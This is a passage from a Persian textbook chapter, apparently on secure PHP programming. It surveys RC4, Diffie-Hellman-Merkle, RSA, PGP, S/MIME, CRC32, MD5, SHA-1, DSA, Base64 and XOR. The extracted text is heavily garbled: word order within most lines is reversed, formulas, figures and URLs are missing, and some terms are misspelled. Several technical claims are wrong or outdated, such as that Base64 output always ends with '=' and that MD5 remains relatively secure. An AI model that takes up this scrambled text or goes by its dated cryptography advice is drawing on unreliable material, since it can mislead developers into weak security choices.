 قرار استفاده مورد زیادی حد تا که دهیممی ارائه RC4 الگوریتم خصوص در مختصر بحث یک اینجا در ما

 قرارگرفته OpenSSL رمزنگاریی کتابخانه در الگوریتم این که است دلیل این به حدی تاو  است گرفته

 داده تغییر تشخیص، بدون انتقال زمان در تواندمی RC4 با شده رمزنگاری پیام یک که دلیل این است. به

 اقناع را رمزنگاری امنیتجهت  ما استانداردهای باشد(،می RC4های ویژگی از یکی این واقع )در شود

 دهیم. نمی پیشنهاد را آن از استفاده بنابراین و کندنمی
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RC4 الگوریتم مخترعین از )یکی ریوست ران توسط 1987 سال در RSA ، های الگوریتم» بخش در که

جهت  سرواژه یک رسمی صورت به آن یافت. نام گیرد( توسعهمی قرار بحث مورد فصل این در« نامتقارن

« ران چهاری شماره کد»ی سرواژه را نام این غیررسمی صورت به ولی باشدمی« 4ی شماره ریوست رمز»

های حل راه برتر تجاریی فروشنده که است RSA امنیتی شرکت اختصاصی محصول یک دانند. اینمی

 .باشدمی RSA بر مبتنی امنیتی

 مورد و شده معروف بسیار تاکنون و یافت انتشار 1994 سال در بود، تجاری راز یک ابتدا هرچند آن، وشر

 در گاهی را روش این است، رایت کپی تحت ان نام که دلیل این به حال این است. با گرفته قرار استفاده

 تصادفی شبه کلید یک است استریم رمز یک که RC4نامند. می« ARCFOUR» غیررسمیهای ویرایش

 بخش در را XOR روش کند. )مامی XOR را هدف متن آن، از استفاده با سپس و نموده ایجاد را

 نمود(.  خواهیم تشریح فصل، این در« مرتبطهای الگوریتم»

RC4 سیمی برابر سازی خصوصی با شده استفاده رمزنگاری روش (WEPو ) دسترسی یعنی آن، جایگزین 

 سیمبیهای متوسط( جهت شبکه حالت، بهترین )در حفاظت ی( جهت ارائهWPA) فای وایی شده حفاظت

 مقاوم استریم، در انتقال یا نویز خطاهای برابر در که چرا شد انتخاب امر اینجهت  الگوریتم باشد. اینمی

 شده رمزگشایی پیام که شودمی موجب شده رمزنگاریهای پیام اغلب انتقال در خطا یک که حالی است. در

 این گذارد. بامی تاثیر پیامهای بایت از اندکی تعداد بر تنها RC4 استریم یک در خطا یک گردد، نامفهوم

 کنندهحمله یک توسط تواندنمی شده ایجاد خوبی به« خطای» یک که نیست معنا بدان این متاسفانه، حال

 نشود.  داده تشخیص گیرنده، سمت در است ممکن خطا این و شود اضافه استریم به

  مرکل-هلمان-دیفی کلید تبادل 1.6.2

 دو نیاز از است عبارت متقارن رمزنگاری از استفاده در بزرگ مشکل یک نمودیم، بیان قبلا که طورهمان

 شده کشف روش هلمان، اولین مارتین و دیفی فیلدویت ،1976 سال مشترک. در کلید یک داشتن به طرف

-دیفی کلید تبادل روش قلب نمودند. در توصیف رمزی، غیرهای روش طریق از رمزی کلید یک تبادلجهت 

 نیز آن،ی توسعهجهت  مرکل آنان، همکارهای کمک دلیل به مرکل،-هلمان-دیفینام  همچنین به که هلمان،

 مورد عمومی،های کانال روی بر طرف، دو توسط تواندمی که است ساده نسبتا الگوریتم یک شود.می شناخته

 نفر سه کنند. این تعیین متقارن، رمزنگاریدر  استفادهجهت  را مناسب رمز کلید یک تا گیرد قرار استفاده

 امر این که رسید، اتمام به 1997 سال در که نمودند، دریافت 1980 سال در روش اینجهت  را ثبت حق یک

 باشد.  کلید انتقالجهت  انتخابیی گزینه روش، این شودمی باعث

 دهیم. یکمی نشان را کرد آننحوه عمل مرکل،-هلمان-دیفی الگوریتم از شده ساده بسیار ویرایش یک با ما

 این و باشد،می مای شده ساده ویرایش در 256 و 1 بین عددی که کندمی انتخاب )پایه( را base یک طرف،
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 پایه، با نما یک عنوان به استفادهجهت  را رمز عدد یک طرف کند. هرمی ارسال دیگر طرفجهت  را پایه

 شود. می استفاده نما یکی ، جهت محاسبه PHP در ()pow تابع از کد، شبه کند. درمی انتخاب

 

 به را 3 عدد من و کنیم استفاده جهت  3 مقدار یک از که بگیریم تصمیم اگر ملموس، شکل به

 عدد شما بود. اگر خواهد 27 با برابر  آنگاه باشم، کرده انتخاب  عنوان

 . 9 با بود خواهد برابر  آنگاه، کنید، انتخاب   عنوان به را 2

 دیگر طرف از دریافتی عدد طرف، کنیم. هرمی ارسال مقابل طرفجهت  را خودی نتیجه ما، از کدام هر اکنون

جهت  دهد. نتیجهمی قرار استفاده مورد خود، رمزی نمای با عملیات همین اجرای هنگام در پایه عنوان به را

 بود:  خواهد عدد یک با برابر دقیقا طرف دو هر

 

 شما، 2 نمای با 27 دهد. عددارائه می را 729 با برابر کلید یک  3 نمای با شما 9 عدد ملموس، شکل به

  تواندمی کننده حمله است. یک شده شناخته ما نفر دوجهت  تنها کلید دهد. اینارائه می را 729 کلید همین

 حدس بدون نتایج( ولی از کدام هر و پایه انتقالجهت  است نیاز مورد، سه )تنها بدزدد را ماهای پیام از کدام

 را کلید همین تواندنمی وی ما(،ی ساده ویرایش در 256 در 1 احتمال )یک ما رمزی نماهای از یکی زدن

 نماید(.  رمزگشایی را ماهای پیام تواندنمی وی کلید، این بدون )و کند تولید

تر پیچیده اندکی ریاضیاتی روش یک و بزرگتر بسیار ارقام از مرکل-هلمان-دیقی الگوریتم واقعیت، در البته،

 طریق از شده ارسال ساده متنی اطلاعات طرف دو است. هر یکسان نهاییی نتیجه ولی کندمی استفاده

 کلید یک به شودمی تبدیل سپس که برسند مشترک رمز یک به تا نمایندمی تبدیل را عمومیهای کانال

 ادامه خصوصی صورت به تواندمی مکالمه کهای گونه به متقارن رمزنگاری الگوریتم همراه به استفادهجهت 

 یابد. 

  نامتقارنهای الگوریتم 1.6.3

رمزگشایی متفاوت است به که در آنها کلید رمزگذاری با کلید  هستند هاییالگوریتم نامتقارنهای الگوریتم

 رمزنگاری دیگر، طرف عمومی کلید توسط که کند رمزگشایی را چیزی است قادر خصوصی کلید طوری که

 قرار تهدید معرض در ریسک نوع هر و باشدنمی نیاز مورد رمز کلیدهای انتقال نوع هیچ است. بنابراین، شده

 رود. می بین از گرفتن،

 از کندتر بنابراین و هستند محاسبات به بالاتری بسیار نیاز دارای نامتقارنهای الگوریتم حال، این با

 منظور به بزرگ بسیار صحیح اعداد نمودن وارد نیازمند که چرا باشندمی بلوک بر مبتنی متقارنهای الگوریتم

 هستند.  رمزگشایی و رمزنگاری بر تاثیرگذاری
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1.6.3.1 RSA 

 از ادلمن لئونارد و شمیر ادی ریوست، ران یعنی خود، مخترعین نام اول حرف از را خود نام RSA رمزنگاری

 توسعه مشترکی پروژه یک عنوان به 1977 سال طی روش است. این گرفته ماساچوست فناوریی موسسه

 تلاش ادلمن و بودند شکستن غیرقابل الگوریتم یکی توسعهجهت  تلاش در شمیر و ریوست که یافت

 نتوانست ادلمن که شد یافت الگوریتم یک که بشکند. هنگامی راها آن پیشنهادیهای روش که کردمی

 شرکتیجهت  را ان سپس و نمودند ثبت را الگوریتم این ادلمن و شمیر شد. ریوست، متولد RSA بشکند،

 )که RSAی داده امنیت شرکت یعنی بود شده ایجاد الگوریتم این از درآمد کسبجهت  که نمودند گواهی

 شود(. می نامیده RSA امنیتی شرکت اکنون

RSA در الگوریتم باشد. اینمی امروز دینای در تجاریی استفاده با رمزنگاری الگوریتم ترینمعمول احتمالا 

 مورد دهید،می انجام را ایمنهای تراکنش که هنگامی خودکار صورت به و است گرفته قرار مدرن مرورگرهای

 رغم علی است، کرده مقاومت آن، شکستنها جهت تلاش تمامی برابر در الگوریتم گیرد. اینمی قرار استفاده

 دانش رغم علی و داد انجام را کار این باید چگونه که اند نموده بیان کلی صورت به آن مخترعین اینکه

 است بوده موفق دلیل این به حدی تا الگوریتم کند. اینمی کار صورت چه به دقیقا اینکه خصوص در عمومی

هستند.  معمول تجاری، کاربردهایجهت  بیت 1024 حداقل کند؛می استفاده بزرگ بسیار کلید یک از که

 دهید.  قرار استفاده مورد باید که است نامتقارنی الگوریتم درستی به بنابراین،

 که شودمی باعث الگوریتم این ماهیت هم و کلیدی اندازه هم کردیم، اشاره بالا در که طورهمان حال، این با

 از حفاظتجهت  آن از معمولی استفاده یک بنابراین، باشد؛ قیمت گران فرایند یک RSA از استفاده

 مثال،جهت  گیرند. بنابراینمی قرار استفاده موردتر سریعهای الگوریتم در که است بوده کوتاهتری کلیدهای

 از استفاده با توانمی را AES توسط شده رمزنگاری تراکنش یک در استفاده مورد بیتی 128 خصوصی کلید

RSA به اینکه تضمین با بگذاریم اشتراک به طرف دو بین را ان تا دهدمی اجازه امر این که نمود رمزنگاری 

 اشتراکی کلید رمزگشاییجهت  را خود خصوصی کلید گیرنده، که یافت. هنگامی خواهد انتقال ایمن شکلی

 ازتر سریع بسیار فرآیند کند. این استفاده پیام خود رمزگشاییجهت  کلید این از تواندمی وی کند،می دریافت

 باشد(.  کوتاه بسیار پیام اینکه )مگر است تراکنش جهت کل RSA از استفاده

  ایمیل رمزنگاریهای روش 1.6.4

 تلاش اینترنت میل غیرانتفاعی دارد. کنسرسیوم دنبال به را خاصیهای چالش ایمیل،های پیام رمزنگاری

 منبع یک و دهد قرار نظارت مورد حداقل یا کند مدیریت را ایمیل رمزنگاریی حوزه درها پیشرفت تا کندمی

 است اول دست اطلاعاتجهت  خوب
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 با واقعی تنظیماتجهت  رمزنگاری دو یا امضایی دو رمزنگاری یک که داد نشان 2001 سال در دیویس دان

 تاکنون موجود پروتکل دو از کدام هیچ کنیم بررسی توانیممی که حالتی بهترین . دراست نیز مورد بالا امنیت

 اند.  نپرداخته ضمنی ضعف این به

1.6.4.1 PGP و GnuPG 

 تقریبا خواروبارفروشی به شده است تقدیم )که است فروتنانه نام ( یکPGP) خوب نسبتا سازیخصوصی

 داده الگوریتمی به که«( چمنزار درای خانه در همراه» نام با کیلر گریسون رادیوییی برنامه در رالف خوب

 و توسعه ایمیل،های پیام رمزنگاریجهت  ابزاری عنوان به زیمرمن فیلیپ توسط 1991 سال در که است شده

 که چیزی شبیه )تقریبا غیرمتقارن و متقارن رمزنگاری نوع دو هرهای المان از ترکیبی از PGPیافت.  انتشار

 کند. می نمودیم( استفاده بیان RSAی درباره اکنون

 را موجودهای روش زیمرمناست.  جذاب هم و آمیزابهام هم الگوریتم این اجتماعی و سیاسیی تاریخچه

 شخصیهای رایانه در استفادهجهت  که نماید ایجاد RSA رمزنگاریجهت  را جایگزین یک تا داد تغییر

 حرکت در و دارد کارنامه در نیز را بشر حقوق و آزاد حقوق از حمایتی سابقه )که بود. زیمرمن شده ایجاد

 فعالانه تلاش یک الگوریتم این انتشار که نمود بیان ابتدا همان است( از بوده فعالای هستههای ضدسلاح

ها آن دیگران نتوانند که دهدها ارائه میپیام انتقالجهت  رایگان صورت به را روشی که است بشر حقوقجهت 

 9پشتیدرهای قراردادنبا  تا است تلاش در دولت شدند: اینکه شروع دفاعیات و بخوانند. اتهامات را

های امنیتی معمول را دور زده و دهد تا مکانیزمکنندگان فرصت میپذیری خاصی که به هکرها و حمله)آسیب

زمینه به صورت غیرمجاز به منابع و اطلاعات سیستم دسترسی داشته باشند. از آنجا که این تهدید در پس

ها، بسته درتقریباً مشکل است(  سازد، شناسایی و حذف آن کاریفعال بوده و خود را از کاربر پنهان می

 RSA (RSADS)ی امنیت داده شرکت به متعلقهای ثبت حق زیمرمن که نماید؛ ایجاد را ایمن ارتباطات

 انجام شدن شناخته از ترس بدون را خودهای فعالیت توانندمی اکنونها تروریست که است؛ نموده نقض را

 RSADS نمود؛ آغاز صادرات، محدودیت نقض اتهاماتجهت  را زیمرمن از کیفری بررسی یک دهند. دولت

 اطلاعاتی گسترده انتشار پرونده، دو هر در بود. ولی خود اختراع حق نقضجهت  وی از شکایت فکر به نیز

 باعث خبرگان،های محدودیت بازتعریف و اختراع حق اتمام همراه به بود، داده رخ اینترنت روی بر قبل از که

 شود. بیهوده هم و معنیبی هم طرف، دو اینهای شکایت که شد
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 که هنگامی حتی است گرفته قرار مدنظر گسترده صورت به PGP الگوریتم قدرت آغازین، روزهای همان از

 در ،PGP شرکت زیمرمن، شرکت و MITدارد.  وجود آن بودن دسترس در خصوص در خاص ابهام یک

 چه دقیقا« غیرتجاری» اینکه ولی اندبوده« غیرتجاریی استفادهجهت  رایگان»های ویرایش انتشار حال

 نیز را تجاری ویرایش یک PGP شرکت خود و است نشده تعریف کامل صورت به گاههیچ دارد معنایی

 باشد(. می نیز مربوطه پشتیبانی دارای همیشه مثل )که کندمی منتشر

 اتحاد حمایت تحت که است نموده تعریف را PGP از 10بازمنبع ویرایش ، یک 2440RFC حال، عین در

OpenPGP خود با کار قابل تقریبا ویرایش است. این یافتهتوسعه PGP با تطبیقجهت  تلاش است. با 

 و است نموده ایجاد را Gnu (GnuPG) خصوصی محافظ آزاد، افزارنرم بنیاد ،OpenPGP استانداردهای

 رایگان، کاملا صورت به Gnu لیسانس تحت که است داده قرار Gnu ابزارهایی خانوادهی مجموعه در را آن

 است.  گسترده انتشار در RSA رقیب PGP شود. امروزه،می منتشر

1.6.4.2 S/MIME 

 رمزنگاری اعمال استانداردجهت  را ایمن/چندهدفی اینترنتی ایمیل افزودنی پروتکل RSA امنیتی شرکت

 نمودهتهیه  ایمیل،های پیام به رمزنگاری خدمات تعمیممنظور به هفت،ی ( شمارهPKCS) عمومی کلید

 شده تعریف RFC3851 موضوع در (. این) است

 (.  آدرس در دسترس )در است

جهت  امضا و رمزنگاریها آن دو هر است؛ PGPجهت  رقیب نوعی S/MIME ایمیل، روی برفقط  تمرکز با

 هستند.  ناسازگار هم با کاملا دو این چند که،کنند. هر می ارائه را ایمیلهای پیام متن و هدر

S/MIME کلید تبادل از استفاده نیازمند RSA تحت نیز حدی تا و باشد،شد( می تشریح قبلا )که 

 استفاده بیتی 40 کلیدهای از تنها حاضر حال در دارد. همچنین، قرار RSAهای ثبت حقهای محدودیت

 یک عنوان به آن وضعیت نتیجه، هست. در ضعیف بسیار بالا، امنیت باهای استفادهجهت  که کندمی

 است.  مبهم حدی ( تاPGP وضعیت مانند )به استاندارد

S/MIME تجاری دسترسی قابلیت دارای PGP نسخه ای از ولی باشدنمی S/MIME که دارد وجود( 

pkcs7 ماژول در شود( کهمی نامیده openssl در PHP نویسانبرنامه دسترس در را آن که گرفته قرار 

PHP می قرار. (دهدhttp://php.net/openssl باید .) به رمزنگاری و امضا ها بانسخه این که نمود بیان 
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 در را شما ایمن ظاهرا نظری( پیام صورت به )حداقل بنابراین و کنندمی برخورد غیرمرتبط فرآیندهای عنوان

 .دهندمی قرار دیویس، دانی مقاله در شدهتوصیف حملات برابر

 

  پیشنهادیسازی درهم توابع 1.7

 کار به اطلاعات انتقال یا ذخیرهجهت  را آن تواننمی است، سازیوارون غیرقابل سازیدرهم که دلیل این به

 داده تکه یک آیا که دهدمی نشان حالت این در که باشدمی خطا تشخیصجهت  عالی روش یک گرفت. ولی

 داشته آن یکپارچگی از کمتری اهمیت واقع در داده محتوای خیر. اگر یا رفتمی انتظار که است چیزی همان

 هست.  مفید بسیار کردهاییعمل چنین است، صورت این به عبور رمزهای خصوص در اغلب که باشد،

1.7.1 CRC32 
CRC مخفف Cyclic Redundancy Checkصحیح عدد نمایش یک ایجادجهت  بخشی 2 پردازش یک ، از 

 )مجموع checksum یک را داده دایجست این کند،می استفاده داده عظیمی تکه یک از کوچک بسیار

 است.  نموده اتخاذ حاصل، بیتی 32 صحیح عددی اندازه از را خود نام CRC32نامند. ای( میمقابله

 داده انتقال باید که چیزیجهت  را CRC یک فرستنده خطا، جهت تشخیص CRC یک از استفاده هنگام

 محاسبه دوباره را CRC دهد. گیرنده،می انتقال از( محتوا، مستقل )یا همراه به را ان و کند،می محاسبه شود

 است، شده ارسال که نیست چیزی همان است شده دریافت که چیزی که دهدمی نشان تطابق عدم کند،می

 سادگی به PHP در ()crc32 انتقال. تابع حین در کاریدست دلیل به چه و انتقال خطای دلیل به چه

 کند. می مدیریت را محاسباتی چنین

 تاثیر تحت آن CRC که داد تغییرای گونه به را فایل که دارد وجود امکان این که است این روش این مشکل

 راها آن از کدامهیچ و دارد وجود الگوریتم اینجهت  عملیی استفاده دو واقع در نگیرد. بنابراین، قرار

 دانست:  امنیت با مرتبط تواننمی

 حملات(. نه )و خطاها است برابر در پیام یکپارچگیجهت  ارزان بررسی یک •

 که حالی در کندمی ایجاد SHA-1 یا MD5 با مقایسه در راتر کوتاه بسیارسازی درهم یک •

ی کننده تولید یک عنوان به توانمی را CRC32 ماند. بنابراین،می باقی فرد به منحصر همچنان

 از کمتر اشیا کل تعداد که رودمی انتظار ها،آن در که گرفت کار به هاییسیستم در id کارای

 باشد.  میلیون چندین

1.7.2 MD5 

 رمزنگاری ساخت در کلیدیی مهره یک که ریوست ران توسط یافتهتوسعه (،MD) پیامی تجزیه الگوریتم

RSA ،در 1992 سال در بود RFC1321 دایجستی محاسبهجهت  روشی عنوان است و به شده تعریف 
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 بسیار محاسبات با الگوریتم یک عنوان به الگوریتم تصادفی هست. این و اختیاری طول با پیام هر بیتی 128

 صورت به الگوریتم این پنجم ویرایش حاضر، حال هست. در هم صورت همین به که یافت توسعه سریع

 دارای MD5 است، معمول سازیدرهمهای الگوریتم در که آنچنان گیردقرار می استفاده مورد گسترده

 شودمی تولید CRC32 توسط که استای ساده صحیح عدد ازتر ایمن باشد،می داده تایید در بالایی توانایی

 رقمی 32 هگزادسیمال عدد یک توسط معمولا بیتی 128 دایجست )خود است کوچک نسبتا همچنان ولی

 است..  مدیریت قابل بنابراین شود( ومی داده نشان

 است، بزرگ حد چه تا واقعا بیتی 128 عدد یک که دادیم قرار بحث مورد را مسئله این ما فصل این اوایل در

 یک دهد. ولیارائه  را کافی امنیت تواندمی سادگی به دایجست یکجهت  طولی چنین که رسدمی نظر به و

 سال تا و شد یافت 1996 سال کنند( درمی ایجاد را یکسان دایجست یک که متفاوت پیام دو )یعنی تصادم

 در است یافته کاهش 40 توان به 2 حد تا تصادم یک جهت ایجاد brute-forceهای تلاش تعداد 2004

دیجیتال(.  امضاهای )مثلا است مشخص کننده حمله یکجهت  شدنسازی درهم حال در مقدار که مواردی

 گیرد. ما قرار استفاده موردها الگوریتم سایر که دهدمی پیشنهاد حاضر حال در رمزنگاریی جامعه بنابراین،

 قرار بحث مورد فصل، این ادامه در« سازیدرهم جدیدهای الگوریتم» بخش در راها گزینه این از تعدادی

 شودمی باعث PHP در ()md5 تابع و است ایمن نسبتا و قوی و سریع روش یک همچنان MD5دهیم. می

 قدرت در سالانه افزایش به توجه با ولی گیرد قرار استفاده مورد ساده بسیار صورت به الگوریتم این که

 چیزجهت  آن از که نیست خوب که رسدمی نظر به شود،می کدهاتر سریع شکستن موجب که محاسباتی

 بیاورد.  دوام سال، ده حدود مدت به رودمی انتظار که شود استفاده مهمی

1.7.3 SHA-1 

 در و تعریف ( راSHA) ایمنسازی درهم الگوریتم یک تا نمودند همکاری NIST و NSA ،1993 سال در

 2001 سپتامبر در که RFC 3174(.  FIPS 180-10 در ،1995 آوریل 17 )در نمایند منتشر نهایت

 از که نمود تعریف را SHA-1 (، در دسترس )در شد منتشر

 را بیتی 160تر طولانی دایجست یک که تفاوت این با کندمی استفاده MD5 با مشابه کلی مفهوم همان

های دایجست شوند،می نامیده SHA-2 هم همراه به معمولا که بعدی،های کند. پیشرفتمی ایجاد

 کنند. می تولید را تریطولانی

 و نیست اختراع ثبت حق دارای یافت، توسعه متحده ایالات فدرال دولت توسط SHA-1 که دلیل این به

 در داخلی بخش یک عنوان به نتیجه، اند. درگرفته قرار انتشار و بحث مورد گسترده صورت به آنهای روش

 را ورودیی رشته نوع هرسازی درهم محاسباتی کارهای کل PHP در ()sha1 دارد. تابع وجودها زبان اغلب

 PHP نویسانبرنامهجهت  ساده و هوشمندانه انتخاب یک SHA-1 رسدمی نظر به دهد. بنابراین،می انجام

 کنند.  استفاده ایمن سازیدرهم الگوریتم یک از خواهندمی که باشد
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 برداشتند SHA-1 الگوریتم در ضعف یک کشف از پرده محققین از تیم یک ،2005ی فوریه در حال، این با

 کاهش 69 توان به 2 به 80 توان به 2 از را تصادم یک ایجادجهت  نیاز مورد فورس بروت عملیات تعداد که

 که شودمی ترس این موجب ضعف این است، عظیم عدد یک همچنان 69 توان به 2 چند دهد. هرمی

 در مبحث این خصوص در RSA امنیتی بیاورند. گزارشتر پایین را آستانه این است ممکن بیشتر تحقیقات

 است. همچنین واقع  آدرس

  آدرس در اشنایر بروسی مقاله

 است. موجود

 حال در دارند، SHA-1 و MD5 درها تصادم کشف نسبی راحتی خصوص در را نگرانی بالاترین که کسانی

 هستند.  SHA-2 تر( درطولانی حتی )یا بیتی 256های دایجست امید به نیز حاضر

 SHA-1ی اندازه به و گسترده صورت به و هستند جدید نسبتا تر،طولانی SHAهای دایجست متاسفانه،

 یک که شوند ابزارهایی دارای نویسانبرنامه تا کشدمی طول سال چند نیستند. احتمالا بررسی و استفاده مورد

 کنند.  ایجاد SHA-2جهت  را دارد وجود SHA-1جهت  که چیزی با مشابه اعتماد سطح

1.7.4 DSA 

جهت  سازیدرهم الگوریتم یک عنوان به SHAی توسعه حال در NIST و NSA که زمان همان در تقریبا

 ( نیزDSA) دیجیتال امضای الگوریتم یکی توسعهجهت  همکاری حال در همچنین بودند، عمومی اهداف

 گیردمی قرار استفاده مورد امر اینجهت  تنها و شده طراحی دیجیتال امضاهای یارائه یرای اصولا که بودند

 یکی فرستنده اعتبار تاییدجهت  استفاده مورد متنی، امضاهای از شدهسازی های درهمویرایش )یعنی،

 در دسترس )در شد اعلام FIPS 186 در 1994می 19 تاریخ در DSAپیام(. 

 .) 

 دسترس در گسترده صورت به و است یافته انتشار گسترده صورت به نیز SHA-1 ، DSA مانند به

 در )که است شده وارد OpenSSH امنیتیهای بسته و باز منبع OpenSSL در الگوریتم باشد. اینمی

 الگوریتم این که است خاص هدف یکجهت  عالی انتخاب یک گیرند( ومی قرار بحث مورد 8 و 7 فصول

 است. شده طراحی آن،جهت 

  جدید سازیدرهمهای الگوریتم 1.7.5

 عنوان به که کنیممی فهرست راها الگوریتم جدیدترین از تعداد یک خلاصه بسیار صورت به اینجا در ما

 صورت به هنوز موارد این از کدام هیچ که کنید اند. توجهشده پیشنهاد کنونیهای الگوریتمجهت  جایگزین

های الگوریتم به نسبت بالاتری امنیت دارای واقعا که شود تضمین تا است نگرفته قرار آزمون مورد جامع



  PHPنویسي امن برنامه

20 

 

 
 

 و SHA-1 به توانندمی همچنان خوانندگان که داریم هستند. ولی اعتقاد شکننده اندکی که باشدمی کنونی

DSA نمایند. اعتماد  راحتی، از قبولی قابل سطح با آینده سال جهت چند 

1.7.5.1 SHA-2 

SHA-2 مختلفهای گونهجهت  تجمیعی عبارت یک SHA-1 و 512 ،256های دایجست طول از که است 

 SHA-1 با مشابه اصولا موارد این بالاتر، بسیار دایجست طول بر کنند. علاوهمی استفاده بیتی 1024 حتی یا

 هستند.

1.7.5.2 RIPEMD-160 

RIPEMD روی از بلژیکی رمزگذاران از گروه یک توسط که است سازیدرهم الگوریتم یک MD4 به 

 باشد( توسعهمی NSA توسط یافتن توسعه منفی تاثیر تحت همچنان )که SHA-1جهت  جایگزینی عنوان

 بالاتری جذابیت کمکم الگوریتم . این.  است، یافته

 شد(. هرچند بیان قبلا )که است شده انجام SHA-1 گذاشتن کنارجهت  هاییحرکت که چرا یابد،می

 از بخشی عنوانبه RIPEMD-160 یعنی کنونی، ویرایش دارند، وجود بیتی 320 و 256های ویرایش

 نمود.  خواهیم تشریح دوم، فصل در را آن ما که است موجود OpenSSL رمزنگاری ابزار مجموعه

  مربوطههای الگوریتم 1.8

 رمزگذاریجهت  گاهی کلید، یکبا  مقدار یک نمودن XOR فرایند و base56 یعنی ،بعدی الگوریتم دو

 نکنید: هر اشتباه حال، این است. با رمزنگاری با مشابه گیرند کهقرار می استفادهمورد  روشی به داده

 مورد رمزنگاریجهت  نباید هیچگاه نکند استفاده ریاضیاتی قوی رمزنگاری الگوریتم یک از که الگوریتمی

 کاربرد دارای که چرا دهیم قرار اشاره مورد راها روش این باید که کنیممی احساس گیرد. ما قرار استفاده

 گرفتند. قرار اشاره مورد بالا در که هستند سازییدرهم و رمزنگاریهای الگوریتم درون، عملی

1.8.1 Base64 

Base64 امکانجهت  ابتدا در که الگوریتم سازی هست. اینپنهان الگوریتم یک تا سازیرمزی الگوریتم یک 

ی استفادهمورد  یافت، توسعه، چاپ قابل کاراکترهای بهها ان تبدیل باها، ایمیل باینری الصاقات انتقال

 رمزنگاری.  تا بنامیم سازیمبهم را آن است و بهترای قرار گرفت گسترده
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 با حداقل همواره و است کاراکترها از محدودیی مجموعه یک شامل شده 11انکدی رشته یک که دلیل این به

 استفاده مورد آن نمودن جهت انکد base64 که بزنیم حدس که نیست سخت یابد،می = پایان علامت یک

 نیازهایجهت  نباید هیچگاه base64 ندارد. بنابراین، خاصی کار آن رمزگشایی نتیجه، در و است گرفته قرار

 گیرد.  قرار استفاده مورد جدی رمزنگاری

نمایید.  مشاهده base64 انکدینگ در را شده رمزنگاریهای داده یا و کلیدها توانیدمی شما حال، این با

 کاراکتر زیادی تعداد حاوی آنی نتیجه و کندمی تبدیل تصادفی کاملای رشته یک به راها داده رمزنگاری

 ASCII محیط یک در رندرجهت  شده رمزنگاریهای داده که شودمی باعث ویژگی است. این چاپ غیرقابل

 در آنی ذخیرهجهت  باینری-ایمن ستون نوع یک از شما که است آن نیازمند امر این و نباشند ایمن

 عنوان به دوباره را شده رمزنگاریی رشته که دارد وجود وسوسه این کنید. بنابراین، استفاده خودی دادهپایگاه

 رمزنگاریی رشته ازتر بزرگ درصد 33 تنها base64 که آنجا نماییم. از انکد base64 یا هگزادسیمال یک

 دارد.  برابری دوای اندازه که است، هگزادسیمال انکدینگ از استفاده از کاراتر روش این است، اولیه یشده

1.8.2 XOR 

 با آن مقدار چگونه اینکه اساس بر مقدار یک از بیتی نمایش یک تبدیل فرآیند از است عبارت XOR عملیات

 آن توانیممی باشیم، داشته را« hello»ی رشته ما اگر است. جهت مثال، متفاوت دیگر، مقدار یک از رقم هر

 را ASCII اعداد . این111 108 108 101 104دهیم:  نمایش ASCII مقادیر از استفاده با را رشته

 01110000 01100111 01101000ها:  بیت یعنی داد نمایش دودویی ارقام عنوان به توانمی

 helloی ساده )هش« mbnjq» مثال،جهت  باشیم، داشته دیگری رشته یک . اگر01110011 01110000

 عنوان به یا 113 106 110 98 109 عنوان به را آن مشابه شکل به توانیممی دادیم(، نشان قبلا که

 دو این نمودن XORدهیم. جهت  نمایش 

 )یا هستند 12صحیح رقم، دو از کدام هر که کنیم. هنگامیمی مقایسه هم با راها آن ارقام از کدام هر ما مقدار،

 یک ما نباشند، صحیح هیچکدام یا و دو هر که هنگامی دهیم؛می تخصیص را 1 یا صحیح مقدار یک ما (،1

 نهایی مقدار مقدار، دو این نمودن XOR دهیم. بنابراین،می تخصیص را 0 یا غلط مقدار

 1-1 تصویر در که طورهمان دهد،ارائه می را 

 است.  شده داده نشان

 «mbnjq» و« hello» مقادیر نمودن XOR: 1-1 تصویر
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 دو از کدام هر مقابل در نتیجه نمودن XOR که نمود تعیین تصویر اینی مشاهده با بتوان باید سادگی به

 دهد. ارائه می را سوم مقدار، دیگر مقدار

 با ساده متن یک که چرا باشدمی رمزنگاریی محرکه نیروهای از یکی استریم بر مبتنی XOR عملیات

XOR الگوریتم توانیدمی شما واقع، شود. درمی تبدیل رمزی متن نوعی به دیگر، مقدار یک با آن نمودن 

 در متنیهای داده مختلفهای بلوک نمودن XOR با شود( رانمی پیشنهاد اصلا )که خودی ساده رمزنگاری

 RC4 رمزنگاری الگوریتم کارکردنی نحوه واقع در امر )این رمزی عبارت نوعی MD5سازی درهم مقابل

 طولانی کلید که شرطی نمایید. به XOR را مقدار دو این دوباره نمایید. جهت رمزگشایی، باشد( ایجادمی

پیام.  یک تنها و جهت یک -شد نخواهد شکسته سادگی به رمزنگاری نوع این شود، داشته نگه پنهان و باشد

 شکسته سرعت به روش این گیرد، قرار استفاده مورد پیام چندین رمزنگاریجهت  کلید همین که هنگامی

 آنگاه دستورات(، از تعدادی یا تاریخ قبیل )از باشد شده شناخته ساده، متنی پیام از بیتی هر شد. اگر خواهد

 تعداد چه نمود. هر خواهدآشکار  را کلید از بخشی رمزی، متن با ساده متن مقدار این از XOR یک

 شد.  خواهدتر ضعیف رمزنگاری باشد، مشخص کلید از بیشتریهای بخش

 به )در رمزنگاری دو سویه امکان رمز گشایی متن رمز شده می باشد ( که« سویه دو رمزنگاری» الگوریتم یک

 رمزنگاری» عنوان تحت PHP دستورالعمل در نظر یک عنوان به قبلا کندمی تکیه XOR بر کامل صورت

MD5 دستورالعمل در که بود عملکردها از مجموعه یک از بخشی کد شد. اینمی منتشر« گانهسه PHP 

 صورت به همچنان کد این حال، این نشود. با استفادهها آن از شد پیشنهاد و شد حذف بعدا ولی شده منتشر

 این ازای نمونه اینجا در یابد. مامی توسعه PHPهای سیستم در حتی و شودمی پخش اینترنت در گسترده

 چیست.  آن مشکل که دهیم نشان تا دهیممی نمایش را کد
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 یک که کلید یک با را آن و کند،می کاراکتر بررسی به کاراکتر را ساده متن استریم for حلقه اینجا، در

 عملگر یک ^ عملگر ،PHP در که باشید داشته یاد )به نمایدمی XOR است، رمز یک از MD5سازی درهم

XOR با توجه به سادگی الگوریتم  و هست شده رمزنگاری متن با همراه باشد(. از آنجایی مه کلیدمی بیتی

 باشد. می بیهوده محرمانگی،جدی  اهدافجهت  و نیست سازیمبهم از بیش چیزی این روشرمز نگاری 

  تصادفی اعداد 1.9

وابستگی به  کلیدها که آنجا از وبهتر عمل کند  کند،می استفاده که کلیدی از تواندنمی رمزنگاری روتین هیچ

 بحث کنیم. یکمی ارائه تصادفیهای تولید داده مورد در کوتاه بحث یک اینجا در دارند، تصادفیهای داده

 در دسترس )در RFC 1750 در توانیدمی را مطلب این خصوص در جامع

